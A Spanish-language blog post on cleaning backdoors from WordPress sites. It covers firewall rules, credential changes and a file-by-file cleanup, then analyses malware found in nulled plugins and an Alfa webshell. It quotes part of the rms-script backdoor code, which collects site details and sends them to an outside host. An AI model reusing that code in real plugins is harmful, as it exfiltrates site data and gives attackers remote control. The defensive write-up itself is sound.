La seguridad de WordPress es un tema bastante interesante, uno de los temores que los administradores de sitios temen es la presencia de un backdoor.
Un backdoor es método secreto para ganar acceso al escritorio de WordPress que le permite al hacker evitar todo método de autenticación.
Los backdoors son especiales para los hackers porque éstos les permiten entrar o tener acceso a los sitios a pesar que las vulnerabilidades que permitieron el hackeo en primer lugar han sido arregladas.
Si yo creyera que hay un backdoor en mi sitio, uno de los primeros pasos que seguiría es tratar de impedir el acceso al escritorio a cualquier otra persona que no sea yo.
Esto se puede lograr por medio de las reglas de cortafuegos de CloudFlare. Hay diferentes reglas que puedes implementar:
- La regla más útil en estos casos es la regla que bloquea todo acceso a los archivos .php con excepción de la dirección IP que especifiques. Debido a que mis sitios no requiere que los usuarios inicien sesión, yo puedo restringir el acceso al sitio a cualquier persona que no sea yo.
- La segunda regla puede impedir acceso al escritorio a cualquier persona que no tenga una dirección IP que pertenezca a tu país.
Con el bloqueo de los archivos .php por país nadie podrá tener acceso a esos archivos, inclusive si esos archivos fueron agregados por un hacker.
La segunda opción es un poco menos segura pero si crees que el hacker no esta en tu país o no esta usando una IP de tu país, puedes impedir que cualquier visitante pueda acceder cualquier archivo .php.
El bloqueo de archivos .php implica que una persona no podrá acceder a tu escritorio aunque esta tenga tus credenciales por lo que esto te permitirá trabajar en el sitio sin pensar que el Hacker puede volver a estropear tu sitio.
Table of Contents
- Cambios de Credenciales
- Destruir el Backdoor
- #1 Hacer un Respaldo y Tener una Copia de WordPress a la mano
- #2 Borrar Archivos que no son parte de la Instalación
- #3 Sustituir Archivos de Instalación por Originales
- #4 La Carpeta wp-content/plugins
- #5 La Carpeta wp-content/themes
- #6 Revisa el Resto de Archivos
- #7 Revisa y Limpia la Base de Datos
- #8 Monitorea y Refuerza la Seguridad del Sitio
- Caso de Backdoor: The WordPress
- ¿Qué es lo que Sucede?
- ¿Cómo Remover la Puerta Trasera?
- La Búsqueda del Código Malicioso
- Fuente de Inspiración
- Sitios Hackeados con Alfa Shell
- ¿Cómo Luce el WebShell?
- Lo Interesante de Todo Esto
- Información sobre Seguridad de WordPress
Cambios de Credenciales
Una vez que eso ha sido hecho, debes de cambiar la claves de todo lo que este asociado a ese sitio, me refiero a clave de tu correo, de tu proveedor de hosting, de la base de datos, de las cuentas FTP.
Una de las ventajas de usar un servicio de hosting bueno como el de Cloudways es que puedes bloquear el acceso a la base de datos y al FTP por medio de IP.
Destruir el Backdoor
Yo no voy a buscar un backdoor que no se como luce, lo interesante de los backdoors es que estos no son detectados en ocasiones por los detectores de Malware.
#1 Hacer un Respaldo y Tener una Copia de WordPress a la mano
El procedimiento es sencillo haz un respaldo de tu sitio y descargalo a tu computadora
Ahora descarga una copia de WordPress directamente de WordPress.org, una vez que tengas eso, entra a tu sitio usando FileZilla.
#2 Borrar Archivos que no son parte de la Instalación
Estando en la instalación de tu sitio, procede a borrar todos los archivos que no sean parte de la instalación de WordPress.
Borra un archivo a la vez y revisa que la web este aun funcionando, si deja de funcionar solo debes copiarlo del respaldo y ponerlo en su lugar.
La instalación debe de quedar así:

#3 Sustituir Archivos de Instalación por Originales
Si tu instalación de WordPress luce así, ahora debes sustituir, los archivos y la carpetas por archivos de WordPress originales con excepción de la carpeta wp-content y el archivo wp-config.
Yo lo que hago es subir las carpetas o archivos con un nombre como wp-admin_360 y wp-includes_360
Después borro las viejas carpetas y cambio el nombre de wp-admin_360 y wp_includes_360 a wp-admin y wp_includes respectivamente.
Con ese remplazo ya te aseguraste que el problema esta en la carpeta wp-content y el archivo wp-config.
#4 La Carpeta wp-content/plugins
Esta carpeta simplemente no la podemos borrar ya que tiene el tema del sitio y los plugins.
Así luce una capeta de wp-content original

Sin embargo encontrarás tambien la carpeta uploads donde están las fotos y algunas otras dependiendo de los plugins que tengas instalados.
Estando en esa carpeta cambia el nombre de la carpeta plugins por plugins_off, crea una carpeta nueva que se llama plugins y vea tu sitio de wordpress e instalo de nuevo todos los plugins desde el repositorio y los premiums desde el sitio de los desarolladores.
#5 La Carpeta wp-content/themes
Ahorra debes de revisar el tema de tu sitio, puedes bajar wp-cerber para que revise si el tema luce exactamente igual al que esta en el repositorio de WordPress o sube una copia si es premium para que wp-cerber pueda contrastar el instalado contra el original.
Si el tema no tiene nada de especial, cambia el tema, borro el tema que esta en duda y lo vuelves a instalar y activar.
#6 Revisa el Resto de Archivos
Esto toma algo de tiempo porque debes revisar el resto de carpetas que esten en wp-content que no sea la carpeta de wp-plugins y wp-themes.
Esto requiere algo de experiencia ya que hay que ver si hay cosas que no deberían estar ahí.
En ocasiones hay carpetas de plugins que ya fueron desinstalados, enfocate en los archivos .php que esten en estos.
#7 Revisa y Limpia la Base de Datos
Ahora debes revisar la base de datos en busca de algo anómalo, este proceso requiere algo de experiencia.
Aprovecha para borrar tablas de plugins no usados en el sitio.
#8 Monitorea y Refuerza la Seguridad del Sitio
Instala algunos plugins para detectar Malware, haz respaldos y observa el comportamiento del sitio.
Los plugins sin licencia de activación o nulos siempre serán un problema para la seguridad de cualquier sitio wordpress.
Los plugins sin licencia de activación o nulos se pueden conseguir a través de páginas que lucran con el trabajo de desarrolladores.
También puedes conseguir plugins Premium por medio de páginas que los brindan a los usuarios de forma gratuita.
Hay que ser bastante ingenuo para creer que estas páginas hayan comprado esos plugins directamente de los desarrolladores.
No creo que alguien en su sano juicio vaya a comprar cientos de plugins y temas para wordpress con el fin de actuar como un buen samaritano y darlos a un bajo precio o de forma gratuita.
Mi teoría es que muchos de esos temas y plugins se bajan de otras paginas que dicen tener tambien plugins originales.
Caso de Backdoor: The WordPress
Recientemente la página Sucuri publicó un interesante artículo sobre The WordPress Club, un sitio web qué regala de forma gratuita temas y plugins Premium.
En la página, vas encontrar un aviso que afirma que los plugins y temas Premium que ellos ofrecen son originales y que éstos no ha sido modificados por los administradores del sitio.
Sin embargo en la página de términos y servicios vas a encontrar que los temas y plugins que ellos ofrecen tienen código que puede permitir que alguien controle tu sitio de manera remota.
El equipo de Sucuri descubrió que los temas y plugins de The WordPress Club , contienen archivos que dan acceso remoto a terceros sin tu consentimiento.
Esto son los archivos insertados por el sitio The WordPress Club
- rms-script-ini.php
- rms-script-mu-plugin.php
Si debes ver para creer, tome un pantallazo de GeneratePress bajado de ese sitio y encontré los archivos que Sucuri reporto.

El equipo de Sucuri tambien indica que el siguiente código se encuentra presente en los archivos ya mencionados.
require_once('rms-script-ini.php');
rms_remote_manager_init(__FILE__, 'rms-script-mu-plugin.php', false, false);
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
Y adivinen que me encontré en los archivos ya mencionados.

¿Qué es lo que Sucede?
Esos archivos y el código maliciosa generan una puerta trasera que puedes encontrar en la carpeta de contenidos de tu sitio cuando el plugin o el tema sospechoso es instalado.

Esa puerta trasera inclusive se puede visualizar desde el escritorio de wordpress, en la sección de plugins.

Y tambien encontraras presencia de en la base de datos en la tabla de wp_options específicamente.
Sucuri indica que ese código malicioso le da prácticamente funciones de administrador al hacker.
Este es parte el código contenido en la carpeta mu-plugins que le suministra datos de tu web al Hacker:
* ------------Register Config Variables------------ */
$GLOBALS['rms_report_to'] = 'https://managerly[.]org/wp-admin/admin-ajax.php';
...
// Gather data
$data=
[
'title' => get_bloginfo('name'),
'url' => get_home_url(),
'ajax_url' => admin_url('admin-ajax.php'),
'ip' => $_SERVER['SERVER_ADDR'],
'tp' => $name,
'tp_status' => $activating,
'hash' => $hash,
'show_to_logged'=>$show_post
];
// send to rms
$result = send_rms_curl_request('rms_ping_from_the_universe', ['site_data' => json_encode($data)]);
Sucuri concluye el artículo diciendo que el acceso remoto no autorizado le permite al hacker agregar entradas y modificar detalles de la base de datos.
Inclusive un hacker puede crear otras puertas traseras en caso de que esta sea detectada.
Los problemas acá descritos requieren un esfuerzo mayor que el simple hecho de borrar el plugin. Puede ser que borres el plugin y que la puerta trasera esté aún disponible.
¿Cómo Remover la Puerta Trasera?
Yo usé WordFence, Quttera y otros plugins para detectar Malware y ninguno detectó la puerta trasera.
Esta es la parte interesante, al borrar la carpeta del problema o las entradas de la base de datos, estas vuelven aparecer un segundo después.
Si el plugin o tema sospechoso esta aún instalado en el sitio, las opciones en la base de datos y la carpeta mu-plugin en la instalación del sitio continuarán apareciendo sin importar cuantas veces la borres.
Si solo tienes plugins gratuitos y premium pero tienes un tema o plugin de dudosa procedencia, debes borrarlo o comprarlo para librarte del problema.
Astra Security tambien indica que el primer paso es remover todo plugin o tema de dudosa procedencia en su sitio web.
¡Así que asegúrese de eliminar cualquier complemento anulado o agrietado de tu sitio y luego ejecute escaneos de malware! Use solo complementos y temas genuinos, y siga actualizándolos para asegurarse de que su sitio no sea vulnerable.
La Búsqueda del Código Malicioso
Un tema o un plugin son los culpables de esta vulnerabilidad por lo que eliminar el plugin o tema nulo o sin licencia es el primer paso para recuperar el control del sitio y no permitir que ese código malicioso continue enviando información a un hacker.
Yo use un plugin que se llama String locator para poder dar con los archivos y scripts que crean la puerta trasera.
String Locator tiene com fin localizar un código dentro de tu instalación por lo debes saber lo que estas buscando en primer lugar.
Con ese plugin pude identificar el plugin problemático, afortunadamente solo era uno el que tenia el el problema.
String Locator te indica la carpeta donde el código que estas buscando, el paso siguiente y correcto es borrar el plugin porque los scripts maliciosos están en el código de varios archivos PHP
Lo que me llamó la atención de este que los archivos PHP y código malicioso estaban presente en más de una carpeta, una jugada astuta si el usuario de plugins nulos no revisa todo el archivo.

Fuente de Inspiración
Estos fueron los tres artículos que me ayudaron a entender este problema:
- Pirated WordPress Plugins Bundled with Backdoors
- [Fix] WordPress rms-script Remote Access Malware
- Can I download WordPress plugins from The WordPress Club? [closed]
Sitios Hackeados con Alfa Shell
El otro día le estaba dando mantenimiento a un sitio de un cliente debido a que tenia un conflicto con un plugin.
El procedimiento era un procedimiento sencillo que consiste en desactivar todos los plugins y activarlos uno por uno hasta dar con el plugin problematic o.
Una vez que hallé el culpable, me tome algunos minutos para revisar que había en esa instalación de WordPress y me encontré con algo extraño.
Habían dos carpetas sospechosas, que no pertenecen a la instalación de WordPress.

Los nombres me hacen pensar que estas fueron creadas por un algún hacker por lo que fui a Google para ver si habían reportes de un ataque con esas características.
En la búsqueda logré ver que hay otros sitios tambien han sufrido estos ataques.

Si escribes lo mismo, vas a encontrar que ese archivo no siempre se encuentra en la raíz del sitio
Sucuri en su blog explica muchos detalles sobre este WebShell y concluye lo siguiente:
ALFA TEaM Shell ~ v4.1-Tesla contiene muchas características útiles para un atacante y también está pulido en términos de su interfaz. Lo que es especialmente interesante es observar la evolución de la herramienta y ver qué características se han agregado con cada nueva versión.
Esto también ayuda a que alguien tenga una idea de lo que es importante para un atacante, no solo desde la perspectiva del propietario del sitio web.
ALFA TEaM Shell ~ v4.1-Tesla: A Feature Update Analysis
¿Cómo Luce el WebShell?
Así luce el Webshell en uno de los sitios atacados.

Sucuri indica que los hackers pueden usar estos sitios para atacar otros sitios ya que es mucho mejor atacar sitios desde sitios de terceros que atacar desde sitios propios.
Sucuri se refirió a este punto en su análisis del Shell de Alpha Teams
No tienen que crear, mantener y envejecer un dominio y, en cambio, pueden obtener acceso no autorizado a un sitio web de terceros vulnerable, es mucho más eficiente para ellos.
ALFA TEaM Shell ~ v4.1-Tesla: A Feature Update Analysis
Si quieren saber más sobre esta herramienta, puedes examinar los detalles en GitHub
Después de ver el video oficial, quede impresionado con la herramienta y como esta puede ser usada para obtener los credenciales del CPanel de alguién.
Lo Interesante de Todo Esto
Estos son algunos detalles interesantes sobre los sitios hackeados
- Lo primero es que hay sitios que probablemente tengan este problema y que no se han percatado de ello.
- Lo segundo es que el sitio tenia WordFence Premium y este nunca alertó de la presencia de este WebShell.
- Lo tercero es sencillo y es que si tomas decisiones tontas que comprometen la seguridad de tu sitio, no hay plugin gratuito o premium que te rescate.
- El cuarto hecho interesante es que hay personas que creen que limpiar un sitio es simplemente instalar un scanner de Malware y listo. O aprendes a limpiarlo de verdad o le pides a alguien que sabe lo que esta haciendo que lo haga por ti.
Información sobre Seguridad de WordPress
Estas son algunas publicaciones en cuanto a temas de seguridad.
- Reseña Honesta de SecuPress
- Mi CortaFuegos Personalizado para WordPress
- Reseña Sobre el Plugin BBQ Pro
- 9 Errores Comunes de Seguridad en WordPress
- Remover Backdoors de tu Sitio WordPress
- Plugins y Temas GPL: ¿Puedo Usarlos?
- Desactivar el Editor de Temas y Plugins
- Esconder la Versión de WordPress: ¿Sirve de Algo?
- Cómo Proteger la Página de Acceso en WordPress
- Reglas de Firewall de CloudFlare
- La Seguridad de tu Base de Datos
- Respaldos en WordPress: ¿Estan 100% Seguro?